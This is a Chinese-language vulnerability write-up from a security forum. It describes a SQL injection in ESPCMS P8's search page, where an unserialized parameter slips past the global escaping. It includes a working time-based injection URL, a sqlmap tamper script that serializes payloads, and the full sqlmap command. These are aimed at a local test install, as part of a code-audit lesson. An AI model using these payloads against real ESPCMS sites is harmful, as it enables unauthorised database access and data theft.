某spcms/search一处尴尬的注入
LW 漏洞分析 7321浏览 · 2019-03-01 23:58

有一天睡醒起来逛先知,在众测发现了这个漏洞奖励

看到,我口水都快留下来了,哇一个sql漏洞评高危,最少都有2500.哇,对于大佬们来说当然是小case,但是对于我这个学生狗来说,这可是几个月的生活费呢。于是乎,菜鸡开始了他的弱弱代码审计之旅。

审计环境

选了一个espcms来试试

程序下载地址:https://www.earclink.com/upfile/download/espcmsp8download/ESPCMS_P8_18101601_INSTALL.zip

漏洞分析

这个cms有着全局过滤,

基本上可以杀死我这个小白的审计之路了,我开始慌了。
漏洞存在于:\ESPCMS_P8_18101601_INSTALL\install_pack\espcms_web\Search.php 第51行处

$_REQUEST['attr_array'] = unserialize(stripslashes($_GET['attr_array']));

HAHHH,这处很奇怪。
我们知道正常$_REQUEST['attr_array']会过滤掉' 变成\'
但是这里$_REQUEST['attr_array']获取的是反序列化的值,但是又用stripslashes去掉了过滤的\,所以逃出来'

然后接下来这里就是传入数据库的操作,

漏洞测试

global $espcms_web_templates, $espcms_link_db;
        $db_table = ESPCMS_DB_PREFIX . 'document AS a';
        $db_table_model_att = ESPCMS_DB_PREFIX . 'document_model_att';
        $db_table_document_attr = ESPCMS_DB_PREFIX . 'document_attr';
        $keyword = $_REQUEST['keyword'];
        if (!$keyword) {
            ESPCMS_Dialog::Message_Page('db_err');
        }

前面的代码条件就是必须存在keyword参数,不然就跳转到指定的错误页面。
访问:http://127.0.0.1/safe/ESPCMS_P8_18101601_INSTALL/install_pack/index.php?ac=Search&at=List&attr_array=a:1:{s:28:"1' union select sleep(8)-- -";i:1;}
post:["keyword":"a","mid":"0"}]
查看数据库执行语句

Poc

#!/usr/bin/env python

"""
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""

import re
import phpserialize
from lib.core.enums import PRIORITY

__priority__ = PRIORITY.NORMAL

def dependencies():
    pass

def tamper(payload, **kwargs):

    retVal = payload

    if payload:
        payload = {payload:1}
        retVal = phpserialize.dumps(payload)
    return retVal

python sqlmap.py -u "http://127.0.0.1/safe/ESPCMS_P8_18101601_INSTALL/install_pack/index.php?ac=Search&at=List&attr_array=" --data="keyword=a&mid=0" --tamper=serialize.py --level 3 --dbms=mysql 5.5 --method="GET" -p attr_array

题外话

小白审计到了第一处漏洞,内心激动万分,妈耶。有钱买游戏了,买部ps4爽歪歪。

啊,好惨。这个厂商没有开软件的众测,一边哭去。。。

7 条评论
某人
表情
可输入 255
目录